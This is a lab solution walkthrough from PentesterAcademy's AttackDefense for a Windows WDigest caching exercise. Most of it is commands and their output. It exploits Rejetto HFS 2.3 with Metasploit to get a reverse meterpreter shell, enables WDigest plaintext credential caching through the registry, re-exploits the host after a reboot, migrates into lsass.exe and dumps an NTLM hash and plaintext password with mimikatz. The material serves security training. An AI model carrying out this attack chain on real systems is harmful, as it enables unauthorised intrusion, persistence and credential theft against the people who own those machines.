
ATTACK
DEFENSE
by PentesterAcademy

Name	Windows: Wdigest Caching
URL	https://attackdefense.com/challengedetails?cid=2341
Type	Post Exploitation: With Metasploit

Important Note: This document illustrates all the important steps required to complete this lab. This is by no means a comprehensive step-by-step solution for this exercise. This is only provided as a reference to various commands needed to complete this exercise and for your further research on this topic. Also, note that the IP addresses and domain names might be different in your lab.

Step 1: Checking target IP address.

Note: The target IP address is stored in the “target” file.

Command: cat /root/Desktop/target

```
root@attackdefense:~# cat /root/Desktop/target
Target IP Address  : 10.0.26.21
root@attackdefense:~#
```

Step 2: Run a Nmap scan against the target IP.

Command: nmap 10.0.26.21

```
root@attackdefense:~# nmap 10.0.26.21
Starting Nmap 7.91 ( https://nmap.org ) at 2021-04-10 13:12 IST
Nmap scan report for 10.0.26.21
Host is up (0.16s latency).
Not shown: 995 closed ports
PORT     STATE SERVICE
80/tcp   open  http
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
3389/tcp open  ms-wbt-server

Nmap done: 1 IP address (1 host up) scanned in 33.85 seconds
root@attackdefense:~#
```

Step 3: We have discovered that multiple ports are open. We will run nmap again to determine version information on port 80.

Command: nmap -sV -p 80 10.0.26.21

```
root@attackdefense:~# nmap -sV -p 80 10.0.26.21
Starting Nmap 7.91 ( https://nmap.org ) at 2021-04-10 13:14 IST
Nmap scan report for 10.0.26.21
Host is up (0.16s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    HttpFileServer httpd 2.3
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.05 seconds
root@attackdefense:~#
```

Step 4: We will search the exploit module for hfs file server using searchsploit.

Command: searchsploit hfs

```
root@attackdefense:~# searchsploit hfs
------------------------------------------------------------------------------
 Exploit Title
------------------------------------------------------------------------------
Apple Mac OSX 10.4.8 - DMG HFS+ DO_HFS_TRUNCATE Denial of Service
Apple Mac OSX 10.6 - HFS FileSystem (Denial of Service)
Apple Mac OSX 10.6.x - HFS Subsystem Information Disclosure
Apple Mac OSX xnu 1228.x - 'hfs-fcntl' Kernel Privilege Escalation
FHFS - FTP/HTTP File Server 2.1.2 Remote Command Execution
Linux Kernel 2.6.x - SquashFS Double-Free Denial of Service
Rejetto HTTP File Server (HFS) - Remote Command Execution (Metasploit)
Rejetto HTTP File Server (HFS) 1.5/2.x - Multiple Vulnerabilities
Rejetto HTTP File Server (HFS) 2.2/2.3 - Arbitrary File Upload
Rejetto HTTP File Server (HFS) 2.3.x - Remote Command Execution (1)
Rejetto HTTP File Server (HFS) 2.3.x - Remote Command Execution (2)
Rejetto HTTP File Server (HFS) 2.3a/2.3b/2.3c - Remote Command Execution
------------------------------------------------------------------------------
Shellcodes: No Result
Papers: No Result
root@attackdefense:~#
```

Step 5: Rejetto HTTP File Server (HFS) 2.3 is vulnerable to RCE. Exploiting the target server using metasploit framework.

Commands:

msfconsole -q
use exploit/windows/http/rejetto_hfs_exec
set RHOSTS 10.0.26.21
exploit

```
msf6 > use exploit/windows/http/rejetto_hfs_exec
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/http/rejetto_hfs_exec) > set RHOSTS 10.0.26.21
RHOSTS => 10.0.26.21
msf6 exploit(windows/http/rejetto_hfs_exec) > exploit

[*] Started reverse TCP handler on 10.10.15.2:4444
[*] Using URL: http://0.0.0.0:8080/QxZjWnDWF8bTR
[*] Local IP: http://10.10.15.2:8080/QxZjWnDWF8bTR
[*] Server started.
[*] Sending a malicious request to /
/usr/share/metasploit-framework/modules/exploits/windows/http/rejetto_hfs_exec.rb:110: warning: URI.escape is obsolete
/usr/share/metasploit-framework/modules/exploits/windows/http/rejetto_hfs_exec.rb:110: warning: URI.escape is obsolete
[*] Payload request received: /QxZjWnDWF8bTR
[*] Sending stage (175174 bytes) to 10.0.26.21
[*] Meterpreter session 1 opened (10.10.15.2:4444 -> 10.0.26.21:49727) at 2021-04-10 13:15:05 +0530
[*] Server stopped.
[!] This exploit may require manual cleanup of '%TEMP%\VkbwwbWJ.vbs' on the target

meterpreter >
[!] Tried to delete %TEMP%\VkbwwbWJ.vbs, unknown result
```

We have successfully exploited the target vulnerable application (hfs) and received a meterpreter shell.

Step 6: Running Wdigest post-exploitation module to change or add “UseLogonCredential” DWORD value to 1.

Windows Post Manage WDigest Credential Caching:

“On Windows 8/2012 or higher, the Digest Security Provider (WDIGEST) is disabled by default. This module enables/disables credential caching by adding/changing the value of the UseLogonCredential DWORD under the WDIGEST provider's Registry key. Any subsequent logins will allow mimikatz to recover the plain text passwords from the system's memory..”

Source: https://www.rapid7.com/db/modules/post/windows/manage/wdigest_caching/

Command: run post/windows/manage/wdigest_caching

```
meterpreter > run post/windows/manage/wdigest_caching

[*] Running module against ATTACKDEFENSE
[*] Checking if the HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\UseLogonCredential DWORD exists...
[*] Creating UseLogonCredential DWORD value as 1...
[+] WDigest Security Provider enabled
meterpreter >
```

Step 7: Reboot the machine to make the registry effective.

Command: reboot

```
meterpreter > reboot
Rebooting...

[*] 10.0.26.21 - Meterpreter session 1 closed.  Reason: Died
meterpreter >
msf6 exploit(windows/http/rejetto_hfs_exec) >
```

Step 8: Re-exploit the target machine HFS application. Also, wait for the machine to get up or else the exploit would fail.

Commands:
use exploit/windows/http/rejetto_hfs_exec
set RHOSTS 10.0.26.21
exploit

```
msf6 > use exploit/windows/http/rejetto_hfs_exec
[*] Using configured payload windows/meterpreter/reverse_tcp
msf6 exploit(windows/http/rejetto_hfs_exec) > set RHOSTS 10.0.26.21
RHOSTS => 10.0.26.21
msf6 exploit(windows/http/rejetto_hfs_exec) > exploit

[*] Started reverse TCP handler on 10.10.15.2:4444
[*] Using URL: http://0.0.0.0:8080/MfQQCRhxqoYyV2x
[*] Local IP: http://10.10.15.2:8080/MfQQCRhxqoYyV2x
[*] Server started.
[*] Sending a malicious request to /
/usr/share/metasploit-framework/modules/exploits/windows/http/rejetto_hfs_exec.rb:110: warning: URI.escape is obsolete
/usr/share/metasploit-framework/modules/exploits/windows/http/rejetto_hfs_exec.rb:110: warning: URI.escape is obsolete
[*] Payload request received: /MfQQCRhxqoYyV2x
[*] Sending stage (175174 bytes) to 10.0.26.21
[*] Meterpreter session 2 opened (10.10.15.2:4444 -> 10.0.26.21:49683) at 2021-04-10 13:21:44 +0530
[!] Tried to delete %TEMP%\uLMZnigOfb.vbs, unknown result
[*] Server stopped.

meterpreter >
```

Step 9: Load kiwi extension to get the plain-text password of the target machine.

Command: load kiwi

```
meterpreter > load kiwi
Loading extension kiwi...
  .#####.   mimikatz 2.2.0 20191125 (x86/windows)
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > http://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX            ( vincent.letoux@gmail.com )
  '#####'        > http://pingcastle.com / http://mysmartlogon.com  ***/

[!] Loaded x86 Kiwi on an x64 architecture.

Success.
meterpreter >
```

Step 10: Migrate current process into lsass.exe

Command: migrate -N lsass.exe

```
meterpreter > migrate -N lsass.exe
[*] Migrating from 4588 to 764...
[*] Migration completed successfully.
meterpreter >
```

Step 11: Dump all credentials.

Command: creds_all

```
meterpreter > creds_all
[+] Running as SYSTEM
[*] Retrieving all credentials
msv credentials
===============

Username       Domain         NTLM                              SHA1
--------       ------         ----                              ----
Administrator  ATTACKDEFENSE  5835048ce94ad0564e29a924a03510ef  1f3429f33422374171c9e26b31247394a389ef02

wdigest credentials
===================

Username        Domain         Password
--------        ------         --------
(null)          (null)         (null)
ATTACKDEFENSE$  WORKGROUP      (null)
Administrator   ATTACKDEFENSE  password1

kerberos credentials
====================

Username        Domain         Password
--------        ------         --------
(null)          (null)         (null)
Administrator   ATTACKDEFENSE  (null)
attackdefense$  WORKGROUP      (null)


meterpreter >
```

This revealed flag to us:

Plain Text Password of the Administrator User: password1

References

1. Rejetto HTTP File Server (HFS) 2.3.x - Remote Command Execution (https://www.exploit-db.com/exploits/39161)
2. Metasploit Module (https://www.rapid7.com/db/modules/exploit/windows/http/rejetto_hfs_exec)
3. Post Exploitation Module (https://www.rapid7.com/db/modules/post/windows/manage/wdigest_caching/)